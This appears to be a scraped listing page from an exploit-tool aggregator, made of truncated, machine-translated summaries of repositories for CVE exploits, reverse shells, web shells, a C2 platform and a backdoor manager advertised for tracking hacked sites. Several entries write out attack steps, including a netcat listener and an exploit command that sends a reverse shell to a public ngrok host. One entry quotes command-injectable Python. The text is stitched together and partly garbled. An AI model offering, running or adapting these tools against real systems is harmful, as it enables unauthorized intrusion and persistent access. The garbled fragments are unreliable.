CGIShell

CGIShell shellshock CVE-2014-6271 Эксплойт CGI Используйте как OpenSSH через CGI-страницу Использование python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Скриншот Зависимости Для Windows требуется pyreadline chardet не требуется Планы Добавить тестовые примеры Поддержка HTTP-логина...

shellstack

ShellStack Version 1.0 ShellStack est un outil de gestion de backdoors basé sur PHP. Cet outil est pratique pour les "HACKERS" qui souhaitent garder une trace de chaque site qu'ils piratent. L'outil génère un fichier backdoor que vous devez simplement télécharger sur le site et placer l'URL de la...

hershell

Hershell Simple reverse shell TCP écrit en Go. Il utilise TLS pour sécuriser les communications et fournit une fonctionnalité d'épingle d'empreinte de la clé publique du certificat, empêchant l'interception du trafic. Les systèmes d'exploitation supportés sont : Windows Linux Mac OS FreeBSD et...

CVE-2012-2982

Этот PoC-эксплойт для CVE-2012-2982 был написан в качестве упражнения для комнаты «Intro to PoC scripting» на TryHackMe. Комнату можно найти здесь: https://tryhackme.com/room/intropocscripting Изначально я планировал использовать Python, но решил попрактиковаться в Rust. Я также заметил, что почт...

CVE-2007-2447

CVE-2007-2447 - username map script La fonctionnalité MS-RPC dans smbd de Samba 3.0.0 à 3.0.25rc3 permet à des attaquants distants d'exécuter des commandes arbitraires via des métacaractères de shell impliquant la fonction 1 SamrChangePassword, lorsque l'option « username map script » de smb.conf...

CVE-2020-7247

CVE-2020-7247 Эта уязвимость существует в функции «smtpmailaddr» почтового сервера OpenSMTPD в OpenBSD и затрагивает версию OpenBSD 6.6. Она позволяет атакующему выполнять произвольные команды оболочки, например «sleep 66», от имени пользователя root Как использовать? python3 getShell.py Если вам...

CVE-2022-36267-PoC

CVE-2022-36267 - Injection de commande à distance non authentifiée Airspan AirSpot 5410. Aperçu Ce dépôt contient un script de shell inverse Proof of Concept PoC pour exploiter CVE-2022-36267, une vulnérabilité critique dans les appareils Airspan AirSpot 5410. Le script est une démonstration...

CVE-2023-4220-RCE

CVE-2023-4220-RCE Краткое описание Уведомление Starlabs Затронутый продукт: Chamilo , -p --port REMOTE PORT -c --comand Флаги для обратной оболочки -lh/--localhost: IP атакующего -lp/--localtcat порт слушателя...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 - Exploitation d'exécution de code à distance RCE dans Pluck CMS v4.7.18 Description Ce script exploite une vulnérabilité d'exécution de code à distance RCE dans Pluck CMS v4.7.18. La vulnérabilité permet à un utilisateur malveillant de télécharger un fichier PHP malveillant sur le...

XSS2Shell-CVE-2026-64638

🔍 @Mr-LeonardoGomes 💀 XSS2Shell-CVE-2026-64638 XSS2Shell — мульти-целевой сканер Разработчик: Автор: YogaGymn Утилита PoC/сканирования для авторизованных тестов безопасности WordPress. Проект содержит поток эксплойта для одиночной цели и конкурентный режим только сканирование для множества целей...

CVE-2026-53365

CVE-2026-53365 Пожертвования Поддержите разработку этого проекта с помощью PayPal или отсканировав QR-код ниже. ⚡ Простое использование Используйте этот проект только в безопасных и авторизованных средах, таких как: Локальные виртуальные машины Контейнеры Docker Изолированные лабораторные среды...

XSS2Shell-CVE-2026-64638

이 저장소에는 README가 없습니다...

CVE-2026-64638

CVE-2026-64638 기부 PayPal 또는 아래 QR 코드 스캔을 통해 이 프로젝트의 유지보수를 지원해 주세요. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 예시 설정: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual...

CVE-2024-23692

CVE-2024-23692 - Rejetto HFS Удаленное выполнение кода RCE Тактическая документация и эксплойт-гайд для CVE-2024-23692 — неаутентифицированной критической уязвимости удаленного выполнения кода RCE, затрагивающей Rejetto HTTP File Server HFS версий до 2.3m. Данное руководство использует технику...

CVE-2026-33017-Langflop

CVE-2026-33017 Langflow "Langflop" 무인증 RCE PoC Langflow의 무인증 buildpublictmp 코드 실행 취약점에 대한 PoC입니다. 악성 구성 요소를 공개 플로우에 업로드하고 빌드를 트리거하여 리버스 셸을 획득합니다. 승인된 보안 테스트에만 사용하세요. 자신이 소유했거나 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 요구 사항 Python 3 requests pip install requests 사용법 내장 리스너를 실행하고 익스플로잇을 한 번에 실행합니다:...

Supershell

Supershell은 WEB 서비스를 통해 접근하는 C2 원격 제어 플랫폼으로, 역방향 SSH 터널을 구축하여 완전한 인터랙티브 셸을 획득하고, 다중 플랫폼 아키텍처 Payload를 지원합니다. 기능 특징 • 지원 플랫폼 • 아키텍처 다이어그램 • 빠른 구축 • 사용 문서 • 기능 데모 • 면책 고지 • 감사 简体中文 • English 일반적인 침투 테스트 및 대회에서 리버스 셸을 사용할 때 Ctrl + C로 셸이 실수로 종료되는 것이 고민이신가요? 인터랙티브 스크립트를 실행하는 것이 어려우신가요? 일반적인 리버스 셸은 단순히...

CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline

CVE-2026-11120 – Внедрение команд через Git URL в конвейере CI/CD Код программы Python root@kitploit: cicdbuild.py - Clones repository without sanitizing URL import subprocess, sys def cloneandbuildrepourl: Vulnerability: repourl can contain shell metacharacters cmd = f"git clone repourl /tmp/rep...

thc-tips-tricks-hacks-cheat-sheet

Любимые советы, трюки и хаки THC Шпаргалка https://thc.org/tips Собрание наших любимых трюков. Многие из этих трюков — не наши. Мы лишь их коллекционируем. Мы показываем трюки «как есть» без объяснения, почему они работают. Вам нужно знать Linux, чтобы понять, как и почему они работают. Есть трюк...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 실전 PoC 사용법 bun 다운로드 https://github.com/oven-sh/bun/releases ngrok 시작 root@kitploit: ngrok tcp 4444 localhost 4444 리슨 root@kitploit: nc -nvlp 4444 익스플로잇 실행 root@kitploit: bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169...

wwwolf-php-webshell

wwwolf's PHP web shell Я часто сталкивался с проблемами при использовании других веб-шеллов: Они используют новые возможности синтаксиса PHP, несовместимые со старыми версиями PHP, работающими на некоторых целях. Они делают неверные предположения об удалённом URL, что нарушает внедрение PHP-кода...